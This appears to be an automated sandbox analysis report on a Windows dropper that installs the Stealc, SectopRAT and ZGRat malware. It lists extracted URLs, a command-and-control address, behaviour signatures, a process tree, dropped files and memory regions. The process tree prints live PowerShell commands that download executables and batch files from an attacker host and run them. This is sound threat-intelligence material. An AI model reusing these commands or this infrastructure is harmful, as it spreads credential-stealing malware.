Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    02/05/2024, 08:31

General

  • Target
    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
  • Size 49KB
  • Sample240502-ke2v7sfd22
  • SHA256 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/th.php?c={CHANNEL}

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443

Extracted

Family
  • stealc

C2
  • http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 1 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
    "C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4544
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsz5EDA.tmp\app.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4876
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?c={CHANNEL}','stat')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3820
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4668
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2192
        • C:\Users\Admin\AppData\Local\Temp\u1ow.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u1ow.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:3732
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3732 -s 2040
            5⤵
            • Program crash
            PID:960
        • C:\Users\Admin\AppData\Local\Temp\u1ow.2\run.exe
          "C:\Users\Admin\AppData\Local\Temp\u1ow.2\run.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:5036
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:348
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:4596
        • C:\Users\Admin\AppData\Local\Temp\u1ow.3.exe
          "C:\Users\Admin\AppData\Local\Temp\u1ow.3.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:3492
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2476
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2192 -s 1476
          4⤵
          • Program crash
          PID:4864
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1700
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K i2.bat
        3⤵
          PID:4532
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2192 -ip 2192
      1⤵
        PID:2028
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3732 -ip 3732
        1⤵
          PID:2992

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              Are.docx

              • Path C:\ProgramData\Are.docx
              • Size 11KB
              • SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
              • MD5 SHA1 SHA512 SSDEEP

              mozglue.dll

              • Path C:\ProgramData\mozglue.dll
              • Size 593KB
              • SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
              • MD5 SHA1 SHA512 SSDEEP

              nss3.dll

              • Path C:\ProgramData\nss3.dll
              • Size 2.0MB
              • SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
              • MD5 SHA1 SHA512 SSDEEP

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              • Size 1KB
              • SHA256 10973e727e5b0eb3f12aba60a682d66e79dfd86e4b6cfc454fd8df70c6e1fa8a
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 16KB
              • SHA256 be856397669a7f97cbfce3b13a42ed184677df869e2b99955f9772b096618be1
              • MD5 SHA1 SHA512 SSDEEP

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 16KB
              • SHA256 664096b29177b73da4d83c1dfa39fc8d8aa7e53140110b9e406eb924ee47ab11
              • MD5 SHA1 SHA512 SSDEEP

              14bb9e7

              • Path C:\Users\Admin\AppData\Local\Temp\14bb9e7
              • Size 1.4MB
              • SHA256 c03660429efe74fd8370cb0d69ec5c3e2ab1eba5230a135e42520198ffef6db3
              • MD5 SHA1 SHA512 SSDEEP

              __PSScriptPolicyTest_2vxzti3q.utr.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2vxzti3q.utr.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              i1.exe

              • Path C:\Users\Admin\AppData\Local\Temp\i1.exe
              • Size 415KB
              • SHA256 8cdacf8e9bc23446e5a7166cea91ed95e0f204fa9d4c1317e4a9bf63f8481116
              • MD5 SHA1 SHA512 SSDEEP

              ioloDMLog.txt

              • Path C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
              • Size 2KB
              • SHA256 7d850dc7a353b948d6f2a6b1d59e57dfe3827f6845aaa8d6a888829cb77ed1d0
              • MD5 SHA1 SHA512

              ioloDMLog.txt

              • Path C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
              • Size 3KB
              • SHA256 7655f2ceb9cf1ceb9ba52d36a5891b0b4d66542128a0327d65ea64252712332f
              • MD5 SHA1 SHA512

              INetC.dll

              • Path C:\Users\Admin\AppData\Local\Temp\nsz5EDA.tmp\INetC.dll
              • Size 25KB
              • SHA256 85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
              • MD5 SHA1 SHA512 SSDEEP

              app.bat

              • Path C:\Users\Admin\AppData\Local\Temp\nsz5EDA.tmp\app.bat
              • Size 552B
              • SHA256 36b70fb72db98ceb089429274975384ed39a36165d65018a038d215792539a00
              • MD5 SHA1 SHA512

              tmp2A67.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\tmp2A67.tmp
              • Size 20KB
              • SHA256 ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7
              • MD5 SHA1 SHA512 SSDEEP

              tmp2A8A.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\tmp2A8A.tmp
              • Size 20KB
              • SHA256 451c2c0cf3b7cb412a05347c6e75ed8680f0d2e5f2ab0f64cc2436db9309a457
              • MD5 SHA1 SHA512 SSDEEP

              u1ow.0.exe

              • Path C:\Users\Admin\AppData\Local\Temp\u1ow.0.exe
              • Size 271KB
              • SHA256 4632f47a007b6b5e852a9cad67dea87960d75fb54ff359c29569cd8cfa9b95e5
              • MD5 SHA1 SHA512 SSDEEP

              u1ow.1.zip

              • Path C:\Users\Admin\AppData\Local\Temp\u1ow.1.zip
              • Size 3.7MB
              • SHA256 a1dd547a63b256aa6a16871ed03f8b025226f7617e67b8817a08444df077b001
              • MD5 SHA1 SHA512 SSDEEP

              UIxMarketPlugin.dll

              • Path C:\Users\Admin\AppData\Local\Temp\u1ow.2\UIxMarketPlugin.dll
              • Size 1.6MB
              • SHA256 cbcea8f28d8916219d1e8b0a8ca2db17e338eb812431bc4ad0cb36c06fd67f15
              • MD5 SHA1 SHA512 SSDEEP

              bunch.dat

              • Path C:\Users\Admin\AppData\Local\Temp\u1ow.2\bunch.dat
              • Size 1.3MB
              • SHA256 9387488f9d338e211be2cb45109bf590a5070180bc0d4a703f70d3cb3c4e1742
              • MD5 SHA1 SHA512 SSDEEP

              relay.dll

              • Path C:\Users\Admin\AppData\Local\Temp\u1ow.2\relay.dll
              • Size 1.5MB
              • SHA256 7b2db9c88f60ed6dd24b1dec321a304564780fdb191a96ec35c051856128f1ed
              • MD5 SHA1 SHA512 SSDEEP

              run.exe

              • Path C:\Users\Admin\AppData\Local\Temp\u1ow.2\run.exe
              • Size 2.4MB
              • SHA256 a05b592a971fe5011554013bcfe9a4aaf9cfc633bdd1fe3a8197f213d557b8d3
              • MD5 SHA1 SHA512 SSDEEP

              whale.dbf

              • Path C:\Users\Admin\AppData\Local\Temp\u1ow.2\whale.dbf
              • Size 85KB
              • SHA256 b440170853bdb43b66497f701aee2901080326975140b095a1669cb9dee13422
              • MD5 SHA1 SHA512 SSDEEP

              u1ow.3.exe

              • Path C:\Users\Admin\AppData\Local\Temp\u1ow.3.exe
              • Size 4.6MB
              • SHA256 4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
              • MD5 SHA1 SHA512 SSDEEP

              memory/348-305-0x00007FF867DE0000-0x00007FF867FE9000-memory.dmp

              memory/348-351-0x0000000071DB0000-0x0000000071F2D000-memory.dmp

              memory/1700-69-0x0000000005730000-0x0000000005A87000-memory.dmp

              memory/1700-71-0x0000000005D20000-0x0000000005D6C000-memory.dmp

              memory/2192-281-0x0000000000400000-0x0000000001A33000-memory.dmp

              memory/2192-156-0x0000000000400000-0x0000000001A33000-memory.dmp

              memory/2476-339-0x0000028780000000-0x0000028780038000-memory.dmp

              memory/2476-346-0x0000028780090000-0x00000287800E0000-memory.dmp

              memory/2476-349-0x0000028780070000-0x000002878008E000-memory.dmp

              memory/2476-348-0x0000028780040000-0x0000028780062000-memory.dmp

              memory/2476-347-0x00000287000F0000-0x00000287000FC000-memory.dmp

              memory/2476-343-0x0000028700C70000-0x0000028701198000-memory.dmp

              memory/2476-341-0x00000287000B0000-0x00000287000BA000-memory.dmp

              memory/2476-342-0x00000287000C0000-0x00000287000E2000-memory.dmp

              memory/2476-340-0x000002877FFC0000-0x000002877FFCE000-memory.dmp

              memory/2476-338-0x000002877FFB0000-0x000002877FFB8000-memory.dmp

              memory/2476-336-0x000002877BCF0000-0x000002877BFF0000-memory.dmp

              memory/2476-332-0x0000028761670000-0x000002876167A000-memory.dmp

              memory/2476-331-0x000002877BC70000-0x000002877BCE6000-memory.dmp

              memory/2476-328-0x000002877BAE0000-0x000002877BB0A000-memory.dmp

              memory/2476-330-0x000002877BB90000-0x000002877BBF2000-memory.dmp

              memory/2476-329-0x000002877BB10000-0x000002877BB8A000-memory.dmp

              memory/2476-327-0x000002877BA30000-0x000002877BAE2000-memory.dmp

              memory/2476-326-0x000002877B540000-0x000002877B54A000-memory.dmp

              memory/2476-325-0x000002877B510000-0x000002877B534000-memory.dmp

              memory/2476-324-0x00000287616B0000-0x00000287616C4000-memory.dmp

              memory/2476-322-0x00000287616A0000-0x00000287616B0000-memory.dmp

              memory/2476-323-0x000002877B4B0000-0x000002877B4BC000-memory.dmp

              memory/2476-320-0x000002875D6F0000-0x0000028760FE8000-memory.dmp

              memory/2476-321-0x000002877B7D0000-0x000002877B8E0000-memory.dmp

              memory/3492-307-0x0000000000400000-0x00000000008AD000-memory.dmp

              memory/3492-319-0x0000000000400000-0x00000000008AD000-memory.dmp

              memory/3732-286-0x0000000000400000-0x0000000001A0F000-memory.dmp

              memory/3732-157-0x0000000000400000-0x0000000001A0F000-memory.dmp

              memory/3732-87-0x0000000061E00000-0x0000000061EF3000-memory.dmp

              memory/3820-34-0x00000000063F0000-0x0000000006747000-memory.dmp

              memory/3820-19-0x0000000005410000-0x0000000005446000-memory.dmp

              memory/3820-24-0x0000000006310000-0x0000000006376000-memory.dmp

              memory/3820-25-0x0000000006380000-0x00000000063E6000-memory.dmp

              memory/3820-35-0x00000000068C0000-0x00000000068DE000-memory.dmp

              memory/3820-36-0x0000000006900000-0x000000000694C000-memory.dmp

              memory/3820-37-0x0000000007F30000-0x00000000085AA000-memory.dmp

              memory/3820-18-0x0000000072A9E000-0x0000000072A9F000-memory.dmp

              memory/3820-21-0x0000000072A90000-0x0000000073241000-memory.dmp

              memory/3820-23-0x0000000006170000-0x0000000006192000-memory.dmp

              memory/3820-38-0x0000000006DE0000-0x0000000006DFA000-memory.dmp

              memory/3820-41-0x0000000072A90000-0x0000000073241000-memory.dmp

              memory/3820-20-0x0000000005AD0000-0x00000000060FA000-memory.dmp

              memory/3820-22-0x0000000072A90000-0x0000000073241000-memory.dmp

              memory/4596-359-0x0000000005CD0000-0x0000000005E92000-memory.dmp

              memory/4596-361-0x0000000005950000-0x00000000059A0000-memory.dmp

              memory/4596-383-0x0000000007F10000-0x0000000007F1A000-memory.dmp

              memory/4596-364-0x00000000065F0000-0x000000000660E000-memory.dmp

              memory/4596-353-0x0000000072AD0000-0x0000000073DE7000-memory.dmp

              memory/4596-356-0x0000000001100000-0x00000000011C6000-memory.dmp

              memory/4596-357-0x0000000005890000-0x0000000005922000-memory.dmp

              memory/4596-358-0x0000000005EE0000-0x0000000006486000-memory.dmp

              memory/4596-363-0x0000000006AC0000-0x0000000006FEC000-memory.dmp

              memory/4596-362-0x0000000005840000-0x000000000584A000-memory.dmp

              memory/4596-360-0x00000000059B0000-0x0000000005A26000-memory.dmp

              memory/4668-56-0x0000000072A90000-0x0000000073241000-memory.dmp

              memory/4668-43-0x0000000072A90000-0x0000000073241000-memory.dmp

              memory/4668-52-0x00000000060E0000-0x0000000006437000-memory.dmp

              memory/5036-243-0x0000000071DB0000-0x0000000071F2D000-memory.dmp

              memory/5036-244-0x00007FF867DE0000-0x00007FF867FE9000-memory.dmp

              memory/5036-287-0x0000000071DB0000-0x0000000071F2D000-memory.dmp